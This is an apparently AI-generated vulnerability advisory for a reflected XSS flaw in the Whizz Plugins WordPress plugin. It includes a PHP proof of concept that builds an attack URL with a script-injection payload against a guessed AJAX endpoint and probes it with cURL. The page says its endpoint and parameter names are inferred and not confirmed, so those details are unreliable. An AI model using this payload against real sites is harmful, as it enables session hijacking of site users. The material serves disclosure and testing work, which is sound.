Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-24955: Whizz Plugins <= 1.9 – Reflected Cross-Site Scripting (whizz-plugins)

Plugin whizz-plugins
Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 1.9
Patched Version
Disclosed February 8, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-24955 (metadata-based):
This vulnerability is a reflected cross-site scripting (XSS) flaw in the Whizz Plugins WordPress plugin, affecting versions up to and including 1.9. The vulnerability stems from insufficient input sanitization and output escaping in one or more plugin endpoints, allowing unauthenticated attackers to inject malicious scripts. The CVSS score of 6.1 (Medium) reflects the requirement for user interaction and the scope change to the victim’s browser.

Atomic Edge research infers the root cause is a failure to properly sanitize user-supplied input before echoing it back in HTTP responses. The CWE-79 classification confirms this as improper neutralization of input during web page generation. The vulnerability description explicitly cites insufficient input sanitization and output escaping. Without a code diff, Atomic Edge cannot confirm the exact vulnerable function or hook, but the pattern is consistent with unescaped output from GET or POST parameters in admin or frontend handlers.

Exploitation requires an attacker to craft a malicious URL containing a JavaScript payload in a vulnerable parameter. A victim must be tricked into clicking this link while authenticated to WordPress. The payload would then execute in the victim’s browser session. Based on WordPress plugin conventions, the likely attack vector is a public-facing AJAX endpoint (e.g., /wp-admin/admin-ajax.php?action=whizz_plugins_action) or a shortcode-generated page that echoes an unsanitized query parameter.

The patched version 2.0.0 likely implemented proper output escaping using WordPress functions like esc_html() or esc_attr(). It also likely added input validation using sanitize_text_field() or similar sanitization functions for the affected parameters. The fix ensures user input is treated as data, not executable code, before being rendered in the browser.

Successful exploitation leads to arbitrary script execution in the context of the victim’s browser. This can result in session hijacking, administrative actions performed on behalf of the user, or defacement of the WordPress admin panel. The impact is limited to the browser session and does not directly compromise the server, but it can facilitate privilege escalation or data theft from the user’s account.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-24955 - Whizz Plugins <= 1.9 - Reflected Cross-Site Scripting
<?php
/**
 * Proof of Concept for CVE-2026-24955.
 * This script demonstrates a reflected XSS attack against a vulnerable Whizz Plugins endpoint.
 * The exact vulnerable parameter and endpoint are inferred from the plugin slug and common WordPress patterns.
 * Assumption: The plugin has a publicly accessible AJAX handler that echoes a parameter without escaping.
 */

$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/admin-ajax.php';

// The 'action' parameter is required for WordPress AJAX handlers.
// The exact action name is unknown without code, so we use a common pattern.
$ajax_action = 'whizz_plugins_action';

// The vulnerable parameter name is also unknown. We assume a common name like 'id' or 'search'.
$vuln_param = 'search';

// A basic XSS payload to trigger a JavaScript alert.
// In a real attack, this could be replaced with a payload to steal cookies or session tokens.
$xss_payload = '"><script>alert(document.domain)</script>';

// Construct the full URL with the malicious parameter.
$attack_url = $target_url . '?action=' . urlencode($ajax_action) . '&' . $vuln_param . '=' . urlencode($xss_payload);

echo "Atomic Edge CVE-2026-24955 PoCn";
echo "Target URL: $target_urln";
echo "Inferred AJAX Action: $ajax_actionn";
echo "Inferred Vulnerable Parameter: $vuln_paramn";
echo "nGenerated Attack URL:n";
echo $attack_url . "nn";

echo "To test, ensure the target runs Whizz Plugins <= 1.9.n";
echo "Visit the URL above in a browser while authenticated to WordPress.n";
echo "If vulnerable, a JavaScript alert with the domain will pop up.n";

// Optional: Use cURL to fetch the response and check for the payload in the HTML.
echo "n[Optional] Fetching response with cURL to check for unsanitized output...n";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $attack_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200) {
    // Simple check: see if the raw payload appears in the response body (indicating lack of escaping).
    if (strpos($response, $xss_payload) !== false) {
        echo "WARNING: The raw payload was found in the HTTP response. The endpoint may be vulnerable.n";
    } else {
        echo "The payload was not found in the raw response. The endpoint may be patched or our inferred parameters are incorrect.n";
    }
} else {
    echo "HTTP request failed with code: $http_coden";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School